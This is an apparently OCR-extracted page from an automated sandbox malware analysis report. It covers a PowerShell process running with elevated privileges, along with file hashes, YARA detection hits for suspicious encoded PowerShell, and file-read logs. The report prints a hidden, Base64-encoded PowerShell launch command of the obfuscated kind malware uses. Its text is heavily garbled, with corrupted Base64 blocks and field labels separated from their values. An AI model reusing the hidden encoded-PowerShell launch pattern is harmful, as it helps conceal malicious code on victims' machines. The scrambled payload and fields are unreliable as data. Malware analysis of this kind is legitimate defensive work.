AYwBhAHQAYWB0AHSAfQAKAAOACQAJAAKAUWBOAGEACgBOACOAUWBSAGUAZQBWACAAKABNAGUAJAATAHIAY QBUAGQAbWBIACAANGA
1ACAALQBtAGKAbgBpAGOAdQBACAAMgAIACKAOWAKAAKACQAJACQAJABZADIAIAA9ACAAWWBPAGAAJABAACJARWBIAHQALQBEAGEAdABIACAAL
QBVAEYAbwBYAGOAYQBOACAAIQBzACKAOWAKAACACQAIAAKAaQBMACAAKAACOACQAJABZADIALQAKAHQACWAPACAALQBNAHQAIAAKA
HMAbABZzACKAIAB7AA0ACQAJAAKACQBIAHIAZQBhAGSAIABZAGWAOWAKAAKACQAJAHOACIAJAAKATQAKAAKATQAGAGMAY QBOAGMAaAB7AHOACYB

9AA=="
Imagebase: 0x42400000
File size: 302592 bytes
MD5 hash: AD7B9C14083B52BC532FBA5948342B98

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language
Reputation: high

File Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Offset Length Completion Count Source Address Symbol

Analysis Process: powershell.exe PID: 1168, Parent PID: 1436

General

Target ID: 3

Start time: 17:42:09

Start date: 23/06/2022

Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): true
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Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Path

Old File Path

File Path

File Read

Copyright Joe Security LLC 2022

powershell -WindowStyle Hidden -E "CgAKAA0AJABOAGUAeABOAEEACWBADOAWWBTAHKACWBOAGUADQAUAFQAZQBAAHQALGBFAGAAY
WBVAGQAaQBUAGCAXQAGADOAQQBTAEMASQBJADSACIAKAAOAIABGAHAAPQAKAGAAIQBSAGWAOWAKAAOAZGBIAGAAYWBOAGKABWBUA
CAAZWBIAHQAJABIAHIARGB1AGAAYWAOAFSACWBOAHIAaQBUAGCAXQAKAGIAJABZADIAKQAGAHSACIAJACQAYgBOAHMAPQBOAFMAE QBZAHQAZQB
tACAAQWBVAGAAdgBIAHIAJABIADOAOGBGAHIADWBIAEIAYQBZAGUANGAOAFMAJABYAGKAbGBNACIAJABIAHQACWAYACKAOWAKAAOACQAKAHMAM
AAIACQAJABIAHGAJABBAHMAYWAUAECAZQBOAEIAeQBOAGUACWAOACCARWBIAHQALQBJAHQAZQBIAFAACIBVAHAAZQBYAHQAEQBWA
GEAbABIAGUAJWAPADSACJAJACQAZQBKADOAJABIAHQACWBDADAALGAUADQAXQA7AAOACIAIACQAAQAIADAAOWAKAAKAIABSADOAIABIAGQALYB
MAGUAbgBnAHQAaAA7AACACQAKAGSAPQBAACIAKQA7AAOACYAJAFSAYQBYAHIAYQBSAFOAOGABAFIAZQBZAGKAegBIACGAWWBYAGUAZGBIACQAa
WASACQACWBOACAADABIAGAAZWBOAGIAKQA7AACACQBMAGSACYBIAGEAYWBOACIAJABIACAAAQBUACAAIABZAHQAKQAGAHSAJABIAFSAJABPACS
AKWBJADOAJABIACAALQBIAHgAbWBYACAAJABIAGQAWWAKAGKAIQAKAGWAXQBIAAOACIAJACQAYgBZADOAJABIAHQACWBOADUALGAUACQAYGBOA
HMALgBSAGUAbgBnAHQAaABJADSACIAKAAKAJABPADOAMAA7AACACQAKAGWAP QAKAGSALIBMAGUADbgBNAHQAAAA7AAOACQAKAGQAM
AAIAEAAKAAPADSACIAKAAKAWWBhAHIACGBhAHKAXQAGADOAUGBIAHMAaQBEAGUAKABBAHIAZQBMAFOAJABKAHQALAAKAGIACWAUAGWAZQBUAGC
AJABOACKAOWAKAAKAZgBVAHIAZQBhAGMAaAAOACQAYgAJAGKAbGAGACQAYgBZACKAIAB7TACQAZABOAFSAJABPACSAKWBAADOAJABIACAALQBIA
HgAbwBYACAAJABIAFSAJABPACUAJABSAFOAIQAKAAOACQBYAGUAJABLAHIAbgAGACQAJABIAHGAdABBAHMAYWAUAECAZQBOAFMAJABYAGKADGB
NACgAJABKAHQAKQAGAHWAIABDAGSAbgB2AGUACGBOAEYACGBVAGOALQBKAHMAbWBUADSACYBIAAOACIAKACQAdgAGADOAIAAIADAAIGA7AACA]
ABSAHYAIAA9ACAAIGAAACIAOWAKACQAZAAGADOAIAAIAGOACABSAGBAQBIAGUACWBPAGIAaQBNAGYALgBAAHKAEgAIADSACIAKAGUACAAGADO
AIAAIAFCAeQBJADQATQBEAEKAegBNAHOAVQAZAEBARABZADMAT QBUAEEAegBPAFQAZWBAAEOARABVAGKATABEAEUAMgBOAEQAaWA
ZAE4ARABJADMATQBUAFIAZAAIADSACGAKACQAZWBWAE4AY QBIAGUAIAAIACAAIGBIAESAQWBVADOAXABTAGBAZGBOAHCAYQBYAGUAXABCAGKAD
gBhAHIAeQBGAGSACGBOAHIAZQBZAHMAUWBVAGYAJAB3AGEACYBIAFWAIgA7AA0ACIBOAHIAeQAgAHSACIAIACQAagBWADOAIABOAGUACABOAEE
AcWBJACAARWBIAHQAUWBOAHIAaQBUAGCAKABDAFMAeQBZAHQAZQBIACAAQWBVAGAAdgBIAHIAJABIADOAOGBGAHIADWBAEIAY QBZAGUANGAOA
FMAdABYAGKAbgBnACgAJABIAHAAKQAPACAAFAAGAEMABWBUAHYAZQBYAHQARGBYAGBADQAIAEOACWBVAGAAOWAKAHOAIABIAGEAJABJAGgAeWB
9AAOACYAKAGOAZAAGADOAIAAKAGAAIQBSAGWAOWAKAAOACIAKAGEAIAAIACAAIABOAGUAEABOAEEACWBIADSACGAKACQACIBIAGUACQBOACAAP
QAQACIARABpPAHMACABSAGEAeQAGAEY AdQBZAGKABWBUACIAOWAKACQAIQAIACQAagBWAFSAMABIADSACIAKAGKACWAIACQAaGBWA
FSAMQBAADSACGAKAHCAABPAGWAZQAOACQAJABYAHUAZQAPACAAeWAKAAKAJABYAHKAIAB7AACACQAJAHQACIBSACAAEWAKAAKACQAJAGKAZGA
gACQAIQAOAFQAZQBZAHQALQBQAGEAJABOACAAIABNAHAATGBhAGOAZQAPACKAIAB7AACACQAJAAKACQBOAGUAIWAIAEKAJABIAGOAIAAIAFAAY
QBOAGQAIAAKAGCACABOAGEADQBIACAATAAGAESAIQBOACOATGB1AGWADAA7AACACQAJAAKATQAKAAKACQBIAGMAY QBOAGMAAAB7AHOACIAKAAK
ACQAKAGUAeAAGADOAIAAKAGYAYQBSAHMAZQA7AACACIAIAAKAAQBMACAAKAAKAGOAZAAGACOAZQBXACAAIABUAHUADABSACKAIAB7AACACQAIA
AKAJABYAHKAIAB7AAOACQAJAAKACQAKAHIAIAA9ACAARWBIAHQALQBJIAHQAZQBIAFAACGBVAHAAZQBYAHQACQBWAGEADABIAGUAIAAAFAAYQB
0AGQAIAAKAGCACABOAGEADQBIACAALQBOAGEADQBIACAAJABYAGSAZQBSAE4AOWAKAAKACQAJAAKAJABGAGQAIAAIACAAZWBIAHQAJABIAHIAR
gB1AGAAYWAOACQACIAPADSACIAKAAKACQAJAAKAIAB2ACAAPQAGACQAagBKAFSAMABIADSACIAKAAKACQAIAAKAJABIAHGAIAAQACAAIABOAHI
AJQBIADSACgAJAAKACQBIAGMAYQBOAGMAaAB7AHOACIAJAAKATQAGAGUADABZAGUAIAB7AAOACQAJAAKAJAB2ACAAPQAGACQAagBKAFSAMABAA
DsACgAJAAKATQAKAAOACQAJAHQACIBSACAAEWAKAAKACQAJACQAZABOACAAPQAGAHCAZWBIAHQAIAAIAGGAJABOAHAACWABACBALWAKAG QALWE
4ADSAIQAIACQAIQAMAGKACWAIACQAaQBZACYAbAB2ADOAIABSAHYAIGBYAHYAPQAKAHYAIGAGACOAVQBZAGUAQYBhAHMAAQBIAFA
AYQBYAHMAaQBUAGCAOWAKAAOACQAJAAKAIABIAGQAMIAGADOAIABNAGUAIABOAGUACIBGAHUADGBIACGAJABKAHQAKQA7AACACQA
JAAKAAQBMACAAKAAKAGOAZAAYAFSAMABIACAALQBNAHQAIAAKAHYAKQAGAHSACIAIAAKACQAIACQAgAYACAAPQAGACQAagBKADI
AWWAWAFOAOWAKAAOACQAJAAKACQBOAGUAJWAIAEKAJABIAGOAUABYAGBACABIAHIAJABSACAALQBQAGEAJABOACAAIABNAHAATGBhAGOAZQAGA
COATgBhAGOAZQAGACQACYBrAGUAeQBOACAALQBWAGEADABIAGUAIAAKAGQAJAAGACOAUABYAGSACABIAHIAJABSAFQAeQBWAGUAIAAIAFMACAB
YAGKAbgBNACIAIAAIAEYAbwBYAGMAZQAGAHWAIABPAHUAJAAIAE4AdQBSAGWAOWAKAAKACQAJAAKAJABGAGQAIAAIACAAIABIAGQAMIATAACAC
AJAAKACQAKAGUAEAAGADOAIAAKAHQACGB1AGUAOWAKAAKACQAJAHOACIAIAAKATQBIAGEAJABIAGGAeWBIAAOACIAIAAKAGQBMACAAKAAKAGUA
eAAGACOAZQBXACAAJABOAHIAJQBIACKAIAB7AACACQAIAAKAJABYAHKAEWAKAAKACQAJAAKACWBOAGSBACAA7AACACQAJAAKATQBJAGEAIABIAG
gAeWBIAAOACYAIAAKACQBOAHIAeQAGAHSACIAIAAKACQAJAGKAZQBAACAAIABIAGQAWWAXAFOAOWAKAAKACQAJAHOAYWBhAHQAYW
BoAHSATQAKAAKACQBIAACACQBIACAAYWBhAHQAYWBOAHSATQAKAAOACQBOAHIAEQAGAHSACIAIAAKAIABZAGWACWAGADOAIAAOACIAZWBIAHQA
LQByAGEAbgBKAGSAbQAGADCAMAAGACOADQBPAGAAaQBIAHUABQAGADUAMAAPACOANGAWACKAOWAKAAKACQAKAHQACWAGADOAIABDAGKADGBOAF
0AKABHAGUAJAAIAEQAYQBOAGUAIAAAFUARGBVAHIADQBhAHQAIAAIAHMAKQA7AAOACIAJAAKAOGBZAGWAIAB3AGIAaQBSAGUAKAAKAHQACYB1
AGUAKQAgAHSACGAJAAKACQBOAHIAeQB7AACACQAJAAKACQBYAHUADGAOACQAZAASACQAIQASACQAaQBZACKAOWAKAAKACQAJAHOA
YWBhAHQAYWB0AHSAFQAKAAOACQAJAAKAUWBOAGEACGBOACOAUWBSAGUAZQBWACAAKABNAGUAJAAIAHIAY QBUAGQABWBIACAANGAL
ACAALQBtAGKAbgBpAGOAIQBIACAAMAIACKAOWAKAAKACQAJACQAJABZADIAIAAIACAAWWBPAGAAJABIACGARWBIAHQALQBEAGEAJABIACAALQ
BVAEYAbwByAGOAYQBOACAAIQBZzACKAOWAKAACACQAIAAKAAQBMACAAKAAOACQAJABZADIALQAKAHQACWAPACAALQBNAHQAIAAKAH
MAbABZACKAIAB7AACACQAJAAKACQBIAHIAZQBhAGSAIABZAGWAOWAKAAKACQAJAHOACIAIAAKAIQAKAAKATQAGAGMAY QBOAGMAAAB7AHOACYBI
JAA==o

0x21d70000

452608 bytes
92F44E405DB16AC55D97E3BFE3B132FA
true

true

.Net C# or VB.NET

e Rule: SUSP_PS1_JAB_Pattern_Jun22_1, Description: Detects suspicious UTF16 and Base64 encoded PowerShell code that starts with a $ sign and a
single char variable, Source: 00000003.00000002.888389730.0000000001F80000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
e Rule: SUSP_PS1_JAB_Pattern_Jun22_1, Description: Detects suspicious UTF16 and Base64 encoded PowerShell code that starts with a $ sign and a
single char variable, Source: 00000003.00000002.888152756.0000000000390000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
e Rule: SUSP_PS1_JAB_Pattern_Jun22_1, Description: Detects suspicious UTF16 and Base64 encoded PowerShell code that starts with a $ sign and a
single char variable, Source: 00000003.00000002.888245760.00000000005EB000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
e Rule: SUSP_PS1_JAB_Pattern_Jun22_1, Description: Detects suspicious UTF16 and Base64 encoded PowerShell code that starts with a $ sign and a
single char variable, Source: 00000003.00000002.888181676.00000000003E0000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
e Rule: SUSP_PS1_JAB_Pattern_Jun22_1, Description: Detects suspicious UTF16 and Base64 encoded PowerShell code that starts with a $ sign and a
single char variable, Source: 00000003.00000002.888226541.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
e Rule: SUSP_PS1_JAB_Pattern_Jun22_1, Description: Detects suspicious UTF16 and Base64 encoded PowerShell code that starts with a $ sign and a
single char variable, Source: 00000003.00000002.888319048.0000000000629000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
e Rule: SUSP_PS1_JAB_Pattern_Jun22_1, Description: Detects suspicious UTF16 and Base64 encoded PowerShell code that starts with a $ sign and a
single char variable, Source: 00000003.00000002.888441908.0000000002F21000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth

high

Access Attributes Options Completion Count Source Address Symbol
New File Path Completion Count Source Address Symbol
Offset Length Value Ascii Completion Count Source Address Symbol
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File Path

C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine
.config

C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine
.config

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine
.config

Disassembly

@ No disassembly

Copyright Joe Security LLC 2022

Offset

unknown

unknown

unknown

Length

4095

6304

4095

Completion

success or wait

success or wait

success or wait

Count Source Address

1

3

1

T448A4FC

T448A4FC

7448D6F0

Symbol

unknown

unknown

ReadFile
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